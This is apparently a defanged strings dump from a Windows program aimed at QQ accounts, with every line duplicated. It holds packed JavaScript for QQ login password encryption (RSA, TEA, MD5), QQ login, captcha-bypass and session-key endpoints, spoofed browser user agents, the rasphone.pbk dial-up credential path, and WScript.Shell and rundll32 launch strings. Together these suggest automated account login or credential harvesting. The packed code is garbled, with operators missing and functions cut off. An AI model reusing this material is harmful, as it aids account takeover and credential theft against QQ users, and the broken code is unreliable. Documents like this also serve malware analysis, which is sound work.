eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('Y 1O=X(){X r(){W.n=1d;W.e=0;W.4V=W.3h=W.4k=W.q=W.p=W.d=1d}X B(r,z,I){1d!=r&&("50"==2W r?W.3i(r,z,I):1d==z&&"3T"!=2W r?W.1S(r,1B):W.1S(r,z))}X z(){Z 1u B(1d)}X A(r){Y V=z();V.2c(r);Z V}X D(r){Y z=1,I;0!=(I=r>>>16)&&(r=I,z =16);0!=(I=r>>8)&&(r=I,z =8);0!=(I=r>>4)&&(r=I,z =4);0!=(I=r>>2)&&(r=I,z =2);0!=r>>1&&(z =1);Z z}X C(r){W.m=r}X E(r){W.m=r;W.2a=r.2V();W.2f=W.2a&1N;W.2U=W.2a>>15;W.2T=(1>8&1f;L[G ]^=r>>16&1f;L[G ]^=r>>24&1f;G>=U&&(G-=U)}X O(){}X N(){W.j=W.i=0;W.S=[]}r.1b.2R=X(r){Z r.2Q(W.e,W.n)};r.1b.2P=X(r,z){1d!=r&&1d!=z&&0>3;1a(z>=15;0>15,G=z*R F*E,R=E*R ((G&1N)>>30) (G>>>15) z*F (D>>>30);A[B ]=R&2L}Z D};H=30;B.1b.1e=H;B.1b.1s=(1=K; K)S[H ]=K;H=3n;19(K=10;36>K; K)S[H ]=K;H=3D;19(K=10;36>K; K)S[H ]=K;C.1b.2e=X(r){Z 0>r.s||0r.s&&0>15)*W.2f&W.2T)=r.1o;)r[A]-=r.1o,r[ A] }r.1q();r.2b(W.m.t,r);0r?-1:0;0r?W[0]=r 1o:W.t=0};B.1b.1S=X(r,z){Y A;1a(16==z)A=4;1h 1a(8==z)A=3;1h 1a(1B==z)A=8;1h 1a(2==z)A=1;1h 1a(32==z)A=5;1h 1a(4==z)A=2;1h{W.3I(r,z);Z}W.s=W.t=0;19(Y D=r.1c,C=!1,E=0;0J?"-"==r.1l(D)&&(C=!0):(C=!1,0==E?W[W.t ]=J:E A>W.1e?(W[W.t-1]|=(J&(1>W.1e-E):W[W.t-1]|=J=W.1e&&(E-=W.1e))}8==A&&0!=(r[0]&2I)&&(W.s=-1,0>B|E,E=(W[F]&D)=W.t)z.t=0;1h{Y B=r%W.1e,D=W.1e-B,C=(1>B;19(Y E=A 1;E>B;0>=W.1e;1a(r.t>=W.1e;B =W.s}1h{19(B =W.s;A>=W.1e;B-=r.s}z.s=0>B?-1:0;-1>B?z[A ]=W.1o B:0=z.1o&&(r[A z.t]-=z.1o,r[A z.t 1]=1)}0=E.t)){Y F=W.1w();1a(F.t>W.29:0),K=W.2K/H,H=(1J&&B.1x.1m(C,C)}}}};B.1b.2V=X(){1a(1>W.t)Z 0;Y r=W[0];1a(0==(r&1))Z 0;Y z=r&3,z=z*(2-(r&15)*z)&15,z=z*(2-(r&1f)*z)&1f,z=z*(2-((r&1G)*z&1G))&1G,z=z*(2-r*z%W.1o)%W.1o;Z 0r)Z B.1U;Y C=z(),E=z(),F=A.2e(W),G=D(r)-1;19(F.1I(C);0W.s)Z"-" W.1Z().1F(r);1a(16==r)r=4;1h 1a(8==r)r=3;1h 1a(2==r)r=1;1h 1a(32==r)r=5;1h 1a(4==r)r=2;1h Z W.3o(r);Y z=(1>E)&&(B=!0,C="2A".1l(A));0>(E =W.1e-r)):(A=W[D]>>(E-=r)&z,0>=E&&(E =W.1e,--D)),0W.s?W.1Z():W};B.1b.1H=X(r){Y z=W.s-r.s;1a(0!=z)Z z;Y A=W.t,z=A-r.t;1a(0!=z)Z z;19(;0=W.t?0:W.1e*(W.t-1) D(W[W.t-1]^W.s&W.1s)};B.1b.2J=X(r){Y A=z();W.1w().1Q(r,1d,A);0>W.s&&0r||z.2G()?1u C(z):1u E(z);Z W.2E(r,A)};B.1x=A(0);B.1U=A(1);Y T,L,G;1a(1d==L){L=[];19(G=0;G>>8,L[G ]=H&1f;G=0;F()}O.1b.2M=X(r){Y z;19(z=0;zz; z)W.S[z]=z;19(z=A=0;1B>z; z)A=A W.S[z] r[z%r.1c]&1f,B=W.S[z],W.S[z]=W.S[A],W.S[A]=B;W.j=W.i=0};N.1b.2x=X(){Y r;W.i=W.i 1&1f;W.j=W.j W.S[W.i]&1f;r=W.S[W.i];W.S[W.i]=W.S[W.j];W.S[W.j]=r;Z W.S[r W.S[W.i]&1f]};Y U=1B;Z{2r:X(z,A,B){A="41";B="3";Y C=1u r;C.2P(A,B);Z C.26(z)}}}(),s="",a=0,g=[],x=[],y=0,u=0,m=[],t=[],n=!0;X e(){Z 1p.35(1r*1p.2z())}X j(r,B,z){1a(!z||4>>0}X b(r,B,z){r[B 3]=z>>0&1f;r[B 2]=z>>8&1f;r[B 1]=z>>16&1f;r[B 0]=z>>24&1f}X w(r){1a(!r)Z"";19(Y B="",z=0;zz;z )x[z]=0;19(z=1;2>=z;)8>a&&(g[a ]=e()&1f,z ),8==a&&p();19(z=0;0a&&(g[a ]=r[z ],B--),8==a&&p();19(z=1;7>=z;)8>a&&(g[a ]=0,z ),8==a&&p();Z m}X q(r){Y B=0,z=1t(8),B=r.1c;t=r;1a(0!=B%8||16>B)Z 1d;x=l(r);a=x[0]&7;B=B-a-10;1a(0>B)Z 1d;19(Y A=0;A=A;)1a(8>a&&(a ,A ),8==a&&(z=r,!f()))Z 1d;19(A=0;0!=B;)1a(8>a&&(m[A]=(z[u a]^x[a])&1f,A ,B--,a ),8==a&&(z=r,u=y-8,!f()))Z 1d;19(A=1;8>A;A ){1a(8>a){1a(0!=(z[u a]^x[a]))Z 1d;a }1a(8==a&&(z=r,u=y,!f()))Z 1d}Z m}X p(){19(Y r=0;8>r;r )g[r]=n?g[r]^x[r]:g[r]^m[u r];19(Y B=k(g),r=0;8>r;r )m[y r]=B[r]^x[r],x[r]=g[r];u=y;y =8;a=0;n=!1}X k(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=0;0>>0,z =(r>>5) D,z=(z&1r)>>>0,r =(z>>5) E,r=(r&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X l(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=3y;0>>5) E,r=(r&1r)>>>0,z-=(r>>5) D,z=(z&1r)>>>0,F-=2o,F=(F&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X f(){19(Y r=0;8>r;r )x[r]^=t[y r];x=l(x);y =8;a=0;Z!0}X o(r,B){Y z=[];1a(B)19(Y A=0;A>18)),E.1y(z.1l(C>>12&1J)),E.1y(z.1l(C>>6&1J)),E.1y(z.1l(C&1J));3e(r.1c-F){2B 1:C=A(r,D)>18) z.1l(C>>12&1J) B B);3g;2B 2:C=A(r,D)>18) z.1l(C>>12&1J) z.1l(C>>6&1J) B)}Z E.2C("")}},2D=1,3j="",1n=8,2F=32;X 1W(r){Z 2H(r)}X 2H(r){Z 2l(1E(1K(r),r.1c*1n))}X 3q(r){Z 2d(1E(1K(r),r.1c*1n))}X 3s(r,B){Z 2l(1R(r,B))}X 3u(r,B){Z 3v(1R(r,B))}X 3w(r,B){Z 2d(1R(r,B))}X 1E(r,B){r[B>>5]|=2I>>9C;C )A[C]=z[C]^4T,D[C]=z[C]^4U;z=1E(A.2Y(1K(B)),4W B.1c*1n);Z 1E(D.2Y(z),4X)}X 1v(r,B){Y z=(r&1G) (B&1G);Z(r>>16) (B>>16) (z>>16)>>32-B}X 1K(r){19(Y B=[],z=(1>5]|=(r.1C(A/1n)&z)>5]>>>A2&z);Z B}X 2l(r){19(Y B=2D?"4Y":"4Z",z="",A=0;A>2]>>A%4*8 4&15) B.1l(r[A>>2]>>A%4*8&15);Z z}X 2Z(r){19(Y B=[],z=0;zD.1c;)D="0" D;1D.2g(r);B=1D.2p(D A 1D.28(B) z C);1D.2g("");Z B.57(/[\\/\\ =]/g,X(r){Z{"/":"-"," ":"*","=":"58"}[r]})}X 4Q(r,B,z){Z 33(r,B,z,!1)};',62,320,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||this|function|var|return||||||||||for|if|prototype|length|null|DB|255|md5_gg|else|md5_hh|md5_ff|md5_ii|charAt|subTo|chrsz|DV|Math|clamp|4294967295|DM|Array|new|safe_add|abs|ZERO|push|am|reduce|256|charCodeAt|TEA|core_md5|toString|65535|compareTo|copyTo|63|str2binl|dlShiftTo|md5_cmn|32767|RSA|floor|divRemTo|core_hmac_md5|fromString|parseInt|ONE|mulTo|md5|multiplyTo|sqrTo|negate||||||squareTo|encrypt|F1|strToBytes|F2|mp|drShiftTo|fromInt|binl2str|convert|mpl|initkey|String|fromCharCode|substr|lShiftTo|binl2hex|revert|rShiftTo|2654435769|enAsBase64|encode|rsa_encrypt|PADCHAR|ALPHA|getbyte|throw|arguments|next|init|random|0123456789abcdefghijklmnopqrstuvwxyz|case|join|hexcase|exp|mode|isEven|hex_md5|128|mod|FV|1073741823|nextBytes|bitLength|uv_alert|setPublic|modPowInt|doPublic|mt2|um|mph|invDigit|typeof|bit_rol|concat|hexchar2bin||temp||getEncryption|Exception|round||SyntaxError|Not|enough|Message|min|too|pow|switch|long|break|dmq1|fromNumber|b64pad|Date|Invalid|248|97|toRadix|public|str_md5|key|hex_hmac_md5|65536|b64_hmac_md5|binl2b64|str_hmac_md5|64|3816266640|1732584193|271733879|1732584194|271733878|65|680876936|389564586|getTime|606105819|fromRadix|1044525330|176418897|1200080426|1473231341|45705983|1770035416|1958414417|42063|1990404162|1804603682|string|40341101|1502002290|1236535329|decrypt|165796510|1069501632|643717713|F20CE00BAE5361F8FA3AE9CEFA495362FF7DA1BA628F64A347F0A8C012BF0B254A30CD92ABFFE7A6EE0DC424CB6166F8819EFA5BCCB20EDFB4AD02E412CCF579B1CA711D55B8B0B3AEB60153D5E0693A2A86F3167D7847A0CB8B00004716A9095D9BADC977CBB804DBDCBA6029A9710869A453F27DFDDF83C016D928B3CBF4C7|373897302|701558691|38016083|660478335|405537848|568446438||1019803690|187363961|1163531501|1444681467|51403784|1735328473|1926607734|bytesToStr|378558|2022574463|1839030562|dmp1|35309556|1530992060|1272893353|155497632|1094730640|681279174|358537222|722521979|76029189|640364487|421815835|530742520|995338651|bytesInStr|198630844|1126891415|1416354905|dataFromStr|57434055|1700485571|1894986606|1051523|2054922799|1873313359|30611744|1560198380|1309151649|145523070|1120210379|718787259|343485551|Hs|max|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|909522486|1549556828|coeff|512|640|0123456789ABCDEF|0123456789abcdef|number|eval||INVALID_CHARACTER_ERR|DOM|toUpperCase|000|replace|_|Number'.split('|'),0,{}))
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('Y 1O=X(){X r(){W.n=1d;W.e=0;W.4V=W.3h=W.4k=W.q=W.p=W.d=1d}X B(r,z,I){1d!=r&&("50"==2W r?W.3i(r,z,I):1d==z&&"3T"!=2W r?W.1S(r,1B):W.1S(r,z))}X z(){Z 1u B(1d)}X A(r){Y V=z();V.2c(r);Z V}X D(r){Y z=1,I;0!=(I=r>>>16)&&(r=I,z =16);0!=(I=r>>8)&&(r=I,z =8);0!=(I=r>>4)&&(r=I,z =4);0!=(I=r>>2)&&(r=I,z =2);0!=r>>1&&(z =1);Z z}X C(r){W.m=r}X E(r){W.m=r;W.2a=r.2V();W.2f=W.2a&1N;W.2U=W.2a>>15;W.2T=(1>8&1f;L[G ]^=r>>16&1f;L[G ]^=r>>24&1f;G>=U&&(G-=U)}X O(){}X N(){W.j=W.i=0;W.S=[]}r.1b.2R=X(r){Z r.2Q(W.e,W.n)};r.1b.2P=X(r,z){1d!=r&&1d!=z&&0>3;1a(z>=15;0>15,G=z*R F*E,R=E*R ((G&1N)>>30) (G>>>15) z*F (D>>>30);A[B ]=R&2L}Z D};H=30;B.1b.1e=H;B.1b.1s=(1=K; K)S[H ]=K;H=3n;19(K=10;36>K; K)S[H ]=K;H=3D;19(K=10;36>K; K)S[H ]=K;C.1b.2e=X(r){Z 0>r.s||0r.s&&0>15)*W.2f&W.2T)=r.1o;)r[A]-=r.1o,r[ A] }r.1q();r.2b(W.m.t,r);0r?-1:0;0r?W[0]=r 1o:W.t=0};B.1b.1S=X(r,z){Y A;1a(16==z)A=4;1h 1a(8==z)A=3;1h 1a(1B==z)A=8;1h 1a(2==z)A=1;1h 1a(32==z)A=5;1h 1a(4==z)A=2;1h{W.3I(r,z);Z}W.s=W.t=0;19(Y D=r.1c,C=!1,E=0;0J?"-"==r.1l(D)&&(C=!0):(C=!1,0==E?W[W.t ]=J:E A>W.1e?(W[W.t-1]|=(J&(1>W.1e-E):W[W.t-1]|=J=W.1e&&(E-=W.1e))}8==A&&0!=(r[0]&2I)&&(W.s=-1,0>B|E,E=(W[F]&D)=W.t)z.t=0;1h{Y B=r%W.1e,D=W.1e-B,C=(1>B;19(Y E=A 1;E>B;0>=W.1e;1a(r.t>=W.1e;B =W.s}1h{19(B =W.s;A>=W.1e;B-=r.s}z.s=0>B?-1:0;-1>B?z[A ]=W.1o B:0=z.1o&&(r[A z.t]-=z.1o,r[A z.t 1]=1)}0=E.t)){Y F=W.1w();1a(F.t>W.29:0),K=W.2K/H,H=(1J&&B.1x.1m(C,C)}}}};B.1b.2V=X(){1a(1>W.t)Z 0;Y r=W[0];1a(0==(r&1))Z 0;Y z=r&3,z=z*(2-(r&15)*z)&15,z=z*(2-(r&1f)*z)&1f,z=z*(2-((r&1G)*z&1G))&1G,z=z*(2-r*z%W.1o)%W.1o;Z 0r)Z B.1U;Y C=z(),E=z(),F=A.2e(W),G=D(r)-1;19(F.1I(C);0W.s)Z"-" W.1Z().1F(r);1a(16==r)r=4;1h 1a(8==r)r=3;1h 1a(2==r)r=1;1h 1a(32==r)r=5;1h 1a(4==r)r=2;1h Z W.3o(r);Y z=(1>E)&&(B=!0,C="2A".1l(A));0>(E =W.1e-r)):(A=W[D]>>(E-=r)&z,0>=E&&(E =W.1e,--D)),0W.s?W.1Z():W};B.1b.1H=X(r){Y z=W.s-r.s;1a(0!=z)Z z;Y A=W.t,z=A-r.t;1a(0!=z)Z z;19(;0=W.t?0:W.1e*(W.t-1) D(W[W.t-1]^W.s&W.1s)};B.1b.2J=X(r){Y A=z();W.1w().1Q(r,1d,A);0>W.s&&0r||z.2G()?1u C(z):1u E(z);Z W.2E(r,A)};B.1x=A(0);B.1U=A(1);Y T,L,G;1a(1d==L){L=[];19(G=0;G>>8,L[G ]=H&1f;G=0;F()}O.1b.2M=X(r){Y z;19(z=0;zz; z)W.S[z]=z;19(z=A=0;1B>z; z)A=A W.S[z] r[z%r.1c]&1f,B=W.S[z],W.S[z]=W.S[A],W.S[A]=B;W.j=W.i=0};N.1b.2x=X(){Y r;W.i=W.i 1&1f;W.j=W.j W.S[W.i]&1f;r=W.S[W.i];W.S[W.i]=W.S[W.j];W.S[W.j]=r;Z W.S[r W.S[W.i]&1f]};Y U=1B;Z{2r:X(z,A,B){A="41";B="3";Y C=1u r;C.2P(A,B);Z C.26(z)}}}(),s="",a=0,g=[],x=[],y=0,u=0,m=[],t=[],n=!0;X e(){Z 1p.35(1r*1p.2z())}X j(r,B,z){1a(!z||4>>0}X b(r,B,z){r[B 3]=z>>0&1f;r[B 2]=z>>8&1f;r[B 1]=z>>16&1f;r[B 0]=z>>24&1f}X w(r){1a(!r)Z"";19(Y B="",z=0;zz;z )x[z]=0;19(z=1;2>=z;)8>a&&(g[a ]=e()&1f,z ),8==a&&p();19(z=0;0a&&(g[a ]=r[z ],B--),8==a&&p();19(z=1;7>=z;)8>a&&(g[a ]=0,z ),8==a&&p();Z m}X q(r){Y B=0,z=1t(8),B=r.1c;t=r;1a(0!=B%8||16>B)Z 1d;x=l(r);a=x[0]&7;B=B-a-10;1a(0>B)Z 1d;19(Y A=0;A=A;)1a(8>a&&(a ,A ),8==a&&(z=r,!f()))Z 1d;19(A=0;0!=B;)1a(8>a&&(m[A]=(z[u a]^x[a])&1f,A ,B--,a ),8==a&&(z=r,u=y-8,!f()))Z 1d;19(A=1;8>A;A ){1a(8>a){1a(0!=(z[u a]^x[a]))Z 1d;a }1a(8==a&&(z=r,u=y,!f()))Z 1d}Z m}X p(){19(Y r=0;8>r;r )g[r]=n?g[r]^x[r]:g[r]^m[u r];19(Y B=k(g),r=0;8>r;r )m[y r]=B[r]^x[r],x[r]=g[r];u=y;y =8;a=0;n=!1}X k(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=0;0>>0,z =(r>>5) D,z=(z&1r)>>>0,r =(z>>5) E,r=(r&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X l(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=3y;0>>5) E,r=(r&1r)>>>0,z-=(r>>5) D,z=(z&1r)>>>0,F-=2o,F=(F&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X f(){19(Y r=0;8>r;r )x[r]^=t[y r];x=l(x);y =8;a=0;Z!0}X o(r,B){Y z=[];1a(B)19(Y A=0;A>18)),E.1y(z.1l(C>>12&1J)),E.1y(z.1l(C>>6&1J)),E.1y(z.1l(C&1J));3e(r.1c-F){2B 1:C=A(r,D)>18) z.1l(C>>12&1J) B B);3g;2B 2:C=A(r,D)>18) z.1l(C>>12&1J) z.1l(C>>6&1J) B)}Z E.2C("")}},2D=1,3j="",1n=8,2F=32;X 1W(r){Z 2H(r)}X 2H(r){Z 2l(1E(1K(r),r.1c*1n))}X 3q(r){Z 2d(1E(1K(r),r.1c*1n))}X 3s(r,B){Z 2l(1R(r,B))}X 3u(r,B){Z 3v(1R(r,B))}X 3w(r,B){Z 2d(1R(r,B))}X 1E(r,B){r[B>>5]|=2I>>9C;C )A[C]=z[C]^4T,D[C]=z[C]^4U;z=1E(A.2Y(1K(B)),4W B.1c*1n);Z 1E(D.2Y(z),4X)}X 1v(r,B){Y z=(r&1G) (B&1G);Z(r>>16) (B>>16) (z>>16)>>32-B}X 1K(r){19(Y B=[],z=(1>5]|=(r.1C(A/1n)&z)>5]>>>A2&z);Z B}X 2l(r){19(Y B=2D?"4Y":"4Z",z="",A=0;A>2]>>A%4*8 4&15) B.1l(r[A>>2]>>A%4*8&15);Z z}X 2Z(r){19(Y B=[],z=0;zD.1c;)D="0" D;1D.2g(r);B=1D.2p(D A 1D.28(B) z C);1D.2g("");Z B.57(/[\\/\\ =]/g,X(r){Z{"/":"-"," ":"*","=":"58"}[r]})}X 4Q(r,B,z){Z 33(r,B,z,!1)};',62,320,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||this|function|var|return||||||||||for|if|prototype|length|null|DB|255|md5_gg|else|md5_hh|md5_ff|md5_ii|charAt|subTo|chrsz|DV|Math|clamp|4294967295|DM|Array|new|safe_add|abs|ZERO|push|am|reduce|256|charCodeAt|TEA|core_md5|toString|65535|compareTo|copyTo|63|str2binl|dlShiftTo|md5_cmn|32767|RSA|floor|divRemTo|core_hmac_md5|fromString|parseInt|ONE|mulTo|md5|multiplyTo|sqrTo|negate||||||squareTo|encrypt|F1|strToBytes|F2|mp|drShiftTo|fromInt|binl2str|convert|mpl|initkey|String|fromCharCode|substr|lShiftTo|binl2hex|revert|rShiftTo|2654435769|enAsBase64|encode|rsa_encrypt|PADCHAR|ALPHA|getbyte|throw|arguments|next|init|random|0123456789abcdefghijklmnopqrstuvwxyz|case|join|hexcase|exp|mode|isEven|hex_md5|128|mod|FV|1073741823|nextBytes|bitLength|uv_alert|setPublic|modPowInt|doPublic|mt2|um|mph|invDigit|typeof|bit_rol|concat|hexchar2bin||temp||getEncryption|Exception|round||SyntaxError|Not|enough|Message|min|too|pow|switch|long|break|dmq1|fromNumber|b64pad|Date|Invalid|248|97|toRadix|public|str_md5|key|hex_hmac_md5|65536|b64_hmac_md5|binl2b64|str_hmac_md5|64|3816266640|1732584193|271733879|1732584194|271733878|65|680876936|389564586|getTime|606105819|fromRadix|1044525330|176418897|1200080426|1473231341|45705983|1770035416|1958414417|42063|1990404162|1804603682|string|40341101|1502002290|1236535329|decrypt|165796510|1069501632|643717713|F20CE00BAE5361F8FA3AE9CEFA495362FF7DA1BA628F64A347F0A8C012BF0B254A30CD92ABFFE7A6EE0DC424CB6166F8819EFA5BCCB20EDFB4AD02E412CCF579B1CA711D55B8B0B3AEB60153D5E0693A2A86F3167D7847A0CB8B00004716A9095D9BADC977CBB804DBDCBA6029A9710869A453F27DFDDF83C016D928B3CBF4C7|373897302|701558691|38016083|660478335|405537848|568446438||1019803690|187363961|1163531501|1444681467|51403784|1735328473|1926607734|bytesToStr|378558|2022574463|1839030562|dmp1|35309556|1530992060|1272893353|155497632|1094730640|681279174|358537222|722521979|76029189|640364487|421815835|530742520|995338651|bytesInStr|198630844|1126891415|1416354905|dataFromStr|57434055|1700485571|1894986606|1051523|2054922799|1873313359|30611744|1560198380|1309151649|145523070|1120210379|718787259|343485551|Hs|max|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|909522486|1549556828|coeff|512|640|0123456789ABCDEF|0123456789abcdef|number|eval||INVALID_CHARACTER_ERR|DOM|toUpperCase|000|replace|_|Number'.split('|'),0,{}))
@1970-01-01 08:00:00
@1970-01-01 08:00:00
\IP.qyd
\IP.qyd
hXXp://VVV.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=ip查询
hXXp://VVV.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=ip查询
hXXp://VVV.ip138.com/ips138.asp
hXXp://VVV.ip138.com/ips138.asp
hXXp://r.qzone.qq.com/cgi-bin/user/qzone_cgi_msg_getcnt2?uin=
hXXp://r.qzone.qq.com/cgi-bin/user/qzone_cgi_msg_getcnt2?uin=
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.59 QQ/6.4.12593.201 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.59 QQ/6.4.12593.201 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36
hXXp://check.ptlogin2.qzone.com/check?regmaster=
hXXp://check.ptlogin2.qzone.com/check?regmaster=
VVV.qqydw.com
VVV.qqydw.com
hXXp://captcha.qq.com/cap_union_show?captype=3&lang=2052&aid=549000929&uin=
hXXp://captcha.qq.com/cap_union_show?captype=3&lang=2052&aid=549000929&uin=
hXXp://captcha.qq.com/getimgbysig?aid=549000929&uin=
hXXp://captcha.qq.com/getimgbysig?aid=549000929&uin=
&0.7863333761803015
&0.7863333761803015
hXXp://captcha.qq.com/cap_union_verify?aid=549000929&uin=
hXXp://captcha.qq.com/cap_union_verify?aid=549000929&uin=
&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=0&pt_verifysession_v1=
&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=0&pt_verifysession_v1=
hXXp://ptlogin2.qzone.com/login?verifycode=
hXXp://ptlogin2.qzone.com/login?verifycode=
&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=1&pt_verifysession_v1=
&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=1&pt_verifysession_v1=
hXXp://ui.ptlogin2.qzone.com/cgi-bin/login?style=9&appid=549000929&pt_ttype=1&s_url=http://m.qzone.com/infocenter?g_f=2425
hXXp://ui.ptlogin2.qzone.com/cgi-bin/login?style=9&appid=549000929&pt_ttype=1&s_url=http://m.qzone.com/infocenter?g_f=2425
', '79822291');
', '79822291');
ptmbsuperkey=
ptmbsuperkey=
skey=
skey=
hXXp://ebook.3g.qq.com/?g_ut=2&g_f=1818&sid=
hXXp://ebook.3g.qq.com/?g_ut=2&g_f=1818&sid=
hXXp://sqq.3g.qq.com/index.jsp?g_f=1799&o_code=3gqqwap&sid=
hXXp://sqq.3g.qq.com/index.jsp?g_f=1799&o_code=3gqqwap&sid=
'0','','0','
'0','','0','
q.com/p/shalist.photo/fcgi-bin/fcg_list_album_v3?hostUin=
q.com/p/shalist.photo/fcgi-bin/fcg_list_album_v3?hostUin=
hXXp://user.qzone.
hXXp://user.qzone.
hXXp://m.qzone.com/album/fcg_album_operation?g_tk=
hXXp://m.qzone.com/album/fcg_album_operation?g_tk=
hXXp://m.qzone.com/infocenter?g_f=275&g_ut=3
hXXp://m.qzone.com/infocenter?g_f=275&g_ut=3
Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; Droid4X-WIN Build/JDQ39E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; Droid4X-WIN Build/JDQ39E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
hXXp://up.qzone.com/cgi-bin/upload/cgi_upload_pic_v2
hXXp://up.qzone.com/cgi-bin/upload/cgi_upload_pic_v2
&hd_quality=96&output_type=json&preupload=1&charset=utf-8&output_charset=utf-8&logintype=sid&Exif_CameraMaker=&Exif_CameraModel=&Exif_Time=&uin=
&hd_quality=96&output_type=json&preupload=1&charset=utf-8&output_charset=utf-8&logintype=sid&Exif_CameraMaker=&Exif_CameraModel=&Exif_Time=&uin=
&logintype=sid&mobile_dc=actiontype%3D2%26subactiontype%3D1%26reserves%3D1%26page_type%3D2%26app_id%3D7003&albumid=
&logintype=sid&mobile_dc=actiontype%3D2%26subactiontype%3D1%26reserves%3D1%26page_type%3D2%26app_id%3D7003&albumid=
WinHttp.WinHttpRequest.5.1
WinHttp.WinHttpRequest.5.1
application/x-www-form-urlencoded
application/x-www-form-urlencoded
SetClientCertificate
SetClientCertificate
VVV.baidu.com
VVV.baidu.com
798222986
798222986
%d/%d/%d %d:%d:%d
%d/%d/%d %d:%d:%d
p@\Microsoft\Network\Connections\pbk\rasphone.pbk
p@\Microsoft\Network\Connections\pbk\rasphone.pbk
ChangePasswordRequested
ChangePasswordRequested
PasswordExpired
PasswordExpired
Math.round(new Date().getTime()/1000)
Math.round(new Date().getTime()/1000)
Math.round(new Date().getTime())
Math.round(new Date().getTime())
Math.round(new Date().getTime() * 100)
Math.round(new Date().getTime() * 100)
7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
WScript.Shell
WScript.Shell
rundll32.exe url.dll,FileProtocolHandler
rundll32.exe url.dll,FileProtocolHandler
function trim_output() {while (output.length && (output[output.length - 1] === " " || output[output.length - 1] === indent_string)) {output.pop();}}
function trim_output() {while (output.length && (output[output.length - 1] === " " || output[output.length - 1] === indent_string)) {output.pop();}}
function print_newline(ignore_repeated) {ignore_repeated = typeof ignore_repeated === "undefined" ? true : ignore_repeated;trim_output();if (!output.length) {return;}if (output[output.length - 1] !== "\n" || !ignore_repeated) {output.push("\n");}for (var i = 0; i
function print_newline(ignore_repeated) {ignore_repeated = typeof ignore_repeated === "undefined" ? true : ignore_repeated;trim_output();if (!output.length) {return;}if (output[output.length - 1] !== "\n" || !ignore_repeated) {output.push("\n");}for (var i = 0; i
function print_space() {var last_output = output.length ? output[output.length - 1] : " ";if (last_output !== " " && last_output !== "\n" && last_output !== indent_string) {output.push(" ");}}
function print_space() {var last_output = output.length ? output[output.length - 1] : " ";if (last_output !== " " && last_output !== "\n" && last_output !== indent_string) {output.push(" ");}}
function print_token() {output.push(token_text);}
function print_token() {output.push(token_text);}
function remove_indent() {if (output.length && output[output.length - 1] === indent_string) {output.pop();}}
function remove_indent() {if (output.length && output[output.length - 1] === indent_string) {output.pop();}}
function set_mode(mode) {modes.push(current_mode);current_mode = mode;}
function set_mode(mode) {modes.push(current_mode);current_mode = mode;}
function restore_mode() {do_block_just_closed = current_mode === "DO_BLOCK";current_mode = modes.pop();}
function restore_mode() {do_block_just_closed = current_mode === "DO_BLOCK";current_mode = modes.pop();}
function in_array(what, arr) {for (var i = 0; i
